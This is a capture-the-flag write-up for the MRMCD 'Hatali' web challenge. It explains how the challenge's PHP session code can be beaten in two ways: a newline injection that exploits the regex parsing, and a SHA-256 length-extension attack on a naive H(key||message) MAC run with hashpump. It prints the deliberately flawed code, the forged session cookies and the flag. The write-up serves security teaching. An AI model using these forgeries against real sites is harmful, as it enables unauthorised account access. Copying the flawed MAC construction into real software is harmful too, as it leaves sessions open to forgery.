This is a writeup of this year’s MRMCD CTF challenge “Hatali”, including two different ways to solve the challenge (one of them being unintended by the challenge authors).
We are presented with a simple login/register website. The site allows you to register – and then login with – any username/password combination. We’ll use admin:admin
.
The site sets a session
cookie upon login:
NGJHNkVzQnVMTWFjNGJHNkVzYTJiNTQ4NTJhZTJjN2ViM2JiNTY3YWY5MWY0NTdiMjdiNDU5MzNiYWNlZGI2ZjQ4NzhmYzg4MGEyNGYwMDJmYzRiRzZFc01hYzRiRzZFc0J1TEJ1TDRiRzZFc1oyQnY0c2E0Ykc2RXNCdUxCdUw0Ykc2RXNCdUw0Ykc2RXMzNGJHNkVzQnVM
And also tells us:
<center>
Nothing to see here!<br>
<!-- source here: index.php?source -->
<a href="?logout">logout</a>
</center>
Following that hint, we also receive the source code. With the boring stuff removed, it’s basically three parts…
Login
$password = $_POST['password'];
$username = $_POST['username'];
if ($stmt = mysqli_prepare($link,"SELECT id,username from users where username = ? and password = ?")) {
mysqli_stmt_bind_param($stmt, "ss", $username, hash('sha256',$password));
mysqli_stmt_execute($stmt);
mysqli_stmt_bind_result($stmt, $id, $user);
mysqli_stmt_fetch($stmt);
mysqli_stmt_close($stmt);
$sess = array();
$sess["user"] = $user;
$sess["id"] = $id;
assert(strlen($key) == 23);
$ss = "_BuLBuL_".$sess['user']."_BuLBuL";
$ss .= "_BuL_".$sess['id']."_BuL";
$hmac = hash("sha256",$key.$ss);
$ss = "_BuLMac_".$hmac."_Mac".$ss;
$ss = str_replace($s, $r, $ss);
setcookie("session",base64_encode($ss),time()+8000);
}
Session handling
if (isset($_COOKIE) && array_key_exists('session', $_COOKIE))
{
$session = base64_decode($_COOKIE['session']);
$session = str_replace($r, $s, $session);
preg_match_all("/_BuL_(.*?)_BuL/i", $session, $id);
preg_match_all("/_BuLBuL_(.*?)_BuL/i", $session, $name);
preg_match_all("/_BuLMac_(.*?)_Mac/i", $session, $mac);
preg_match_all("/_Mac(.*)/i", $session, $data);
$sess['user'] = end(end($name));
$sess['id'] = intval(end(end($id)));
$sess['mac'] = end(end($mac));
$mac = hash("sha256",$key.end(end($data)));
if ($mac !== $sess['mac'])
{
echo "Hacker detected!";
die();
}
}
Authorization
if (isset($sess))
{
if ($sess['id'] == 1 && $sess['name'] = "admin")
{
echo "<center>Here is your flag: $flag</center><br>";
} else if ($sess['id'] > 1) {
echo "<center>Nothing to see here!<br>";
echo "<!-- source here: index.php?source -->";
echo '<a href="?logout">logout</a></center>';
echo "</body>
</html>";
exit();
}
}
When base64 decoded, our session cookie looks like this:
4bG6EsBuLMac4bG6Esa2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc4bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4sa4bG6EsBuLBuL4bG6EsBuL4bG6Es34bG6EsBuL
We don’t know exactly what $r
and $s
are in str_replace($s, $r, $ss)
, but we can take an educated guess knowing that the deobfuscated session string begins with _BuLMac_
. They’re replacing _
with 4bG6Es
, which gives us a somewhat meaningful string:
_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_Z2Bv4sa_BuLBuL_BuL_3_BuL
What’s weird here is that _BuLBuL_Z2Bv4sa_BuLBuL_
should contain the username (as we know from the code) instead of Z2Bv4sa
, and in fact does contain the correct username when using usernames other than admin
, so they also seem to be replacing admin
with Z2Bv4sa
. PHP allows to specify multiple search and replace values for str_replace
.
Our fully deobfuscated session string looks like this:
_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL
Where our username is admin
, our user ID is 3
, and a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc
is the hash of an unknown secret $key
+ _BuLBuL_admin_BuLBuL_BuL_3_BuL
.
Our goal is, of course, to get the $flag
, which is returned when we’re logged in as admin user #1:
if ($sess['id'] == 1 && $sess['name'] = "admin")
{
echo "<center>Here is your flag: $flag</center><br>";
}
To my knowledge, the =
assignment being done here was not intended by the challenge authors. But we wouldn’t have to forge the username anyways, as registering admin
was allowed.
We cannot simply set the ID from 3
to 1
. That would change the MAC calculated here, and no longer match the MAC from the session cookie. We also can’t calculate the correct MAC because we don’t have the $key
:
$mac = hash("sha256",$key.end(end($data)));
if ($mac !== $sess['mac'])
{
echo "Hacker detected!";
die();
}
Solution 1: Attacking the RegEx
Let’s take a closer look at how the $session
string is parsed:
preg_match_all("/_BuL_(.*?)_BuL/i", $session, $id);
preg_match_all("/_BuLBuL_(.*?)_BuL/i", $session, $name);
preg_match_all("/_BuLMac_(.*?)_Mac/i", $session, $mac);
preg_match_all("/_Mac(.*)/i", $session, $data);
$sess['user'] = end(end($name));
$sess['id'] = intval(end(end($id)));
$sess['mac'] = end(end($mac));
$mac = hash("sha256",$key.end(end($data)));
if ($mac !== $sess['mac'])
{
echo "Hacker detected!";
die();
}
preg_match_all
searches $session
for the specified pattern and stores the results in the variable given as the last argument. end(end($result))
is simply the last match’s last match group.
Let’s visualize the match groups for $mac
, $data
, $admin
, $id
:
_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL
The string used to calculate the MAC can already be constructed using $id
and $name
, but instead is obtained from an additional match ($data
) on the session string, which I found unusual.
I decided to play around with it. If I could leave $data
unchanged, but somehow still change $id
, the MAC validation would pass and the challenge would be solved.
Prepending the ID as follows wouldn’t work, because only the last match is used:
_BuL_1_BuL_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL
Appending it also doesn’t work without changing $data
:
_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL_BuL_1_BuL
The match expression for $data
makes use of .*
, which extends to the very end of the session string. Or does it? It won’t match a line break! The session string is base64 encoded, so it’s not a problem to include newlines and it can be constructed as follows:
_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3⏎
_BuL_1_BuL
Now $data
simply matches the data part from original session string, passing the MAC validation with the last one of the $id
matches being the forged one in the second line!
Now we just need to reverse the string replacement:
4bG6EsBuLMac4bG6Esa2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc4bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4sa4bG6EsBuLBuL4bG6EsBuL4bG6Es3⏎
4bG6EsBuL4bG6Es14bG6EsBuL
Then encode it back to base64:
NGJHNkVzQnVMTWFjNGJHNkVzYTJiNTQ4NTJhZTJjN2ViM2JiNTY3YWY5MWY0NTdiMjdiNDU5MzNiYWNlZGI2ZjQ4NzhmYzg4MGEyNGYwMDJmYzRiRzZFc01hYzRiRzZFc0J1TEJ1TDRiRzZFc1oyQnY0c2E0Ykc2RXNCdUxCdUw0Ykc2RXNCdUw0Ykc2RXMzCjRiRzZFc0J1TDRiRzZFczE0Ykc2RXNCdUw=
And once we use that as our session cookie, we are number one!
<center>
Here is your flag: MRMCDCTF{1_h4d_n0_1n5p1r4710n_f0r_7h15_fl46}
</center>
Solution 2: Attacking the MAC
assert(strlen($key) == 23);
// […]
$hmac = hash("sha256", $key.$ss);
These two lines are suspicious. They assert that the key has a length of 23 bytes with no obvious reason to do so; and they use a variable named $hmac
but don’t use PHP’s hash_hmac function designed for such use.
A proper HMAC would be constructed like H(secret ‖ H(secret ‖ message))
, not H(secret ‖ message)
. To quote Wikipedia:
When a Merkle–Damgård based hash is misused as a MAC with construction
H(secret ‖ message)
, andmessage
and the length ofsecret
is known, a length extension attack allows anyone to include extra information at the end of the message and produce a valid hash without knowing the secret.
Let’s see what we have:
- MAC:
a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc
- Message:
_BuLBuL_admin_BuLBuL_BuL_3_BuL
- Length of secret:
23
That’s all we need to append text to the message and generate a valid MAC.
I will use hashpump to keep it simple, but you may find a detailed explanation of Hash Length Extension Attacks here. We want to change the user ID to 1, so the text we want to append is _BuL_1_BuL
:
hashpump -s "a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc" -k 23 -d "_BuLBuL_admin_BuLBuL_BuL_3_BuL" -a "_BuL_1_BuL"
This gives us the message:
_BuLBuL_admin_BuLBuL_BuL_3_BuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa8_BuL_1_BuL
00000000: 5f42 754c 4275 4c5f 6164 6d69 6e _BuLBuL_admin
0000000d: 5f42 754c 4275 4c5f 4275 4c5f 33 _BuLBuL_BuL_3
0000001a: 5f42 754c 8000 0000 0000 0000 00 _BuL.........
00000027: 01a8 5f42 754c 5f31 5f42 754c .._BuL_1_BuL
And the resulting hash:
2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b2
Now we just need to construct the session string again:
_BuLMac_2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b2_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa8_BuL_1_BuL
Reverse the string replacement:
4bG6EsBuLMac4bG6Es2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b24bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4s4bG6EsBuLBuL4bG6EsBuL4bG6Es34bG6EsBuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa84bG6EsBuL4bG6Es14bG6EsBuL
Convert the escape sequences and then to base64:
echo -ne "4bG6EsBuLMac4bG6Es2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b24bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4s4bG6EsBuLBuL4bG6EsBuL4bG6Es34bG6EsBuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa84bG6EsBuL4bG6Es14bG6EsBuL" | base64
There’s our session cookie:
NGJHNkVzQnVMTWFjNGJHNkVzMmRjZjg4MzIzNzY0NmJhNjRjZmU2MzY3ODVjNTZhZjY1ZmU4YjhhNjc4NjlkZTBiYTJhM2QwNGJhODdlMDJiMjRiRzZFc01hYzRiRzZFc0J1TEJ1TDRiRzZFc1oyQnY0czRiRzZFc0J1TEJ1TDRiRzZFc0J1TDRiRzZFczM0Ykc2RXNCdUyAAAAAAAAAAAABqDRiRzZFc0J1TDRiRzZFczE0Ykc2RXNCdUw=
And once again…
<center>
Here is your flag: MRMCDCTF{1_h4d_n0_1n5p1r4710n_f0r_7h15_fl46}
</center>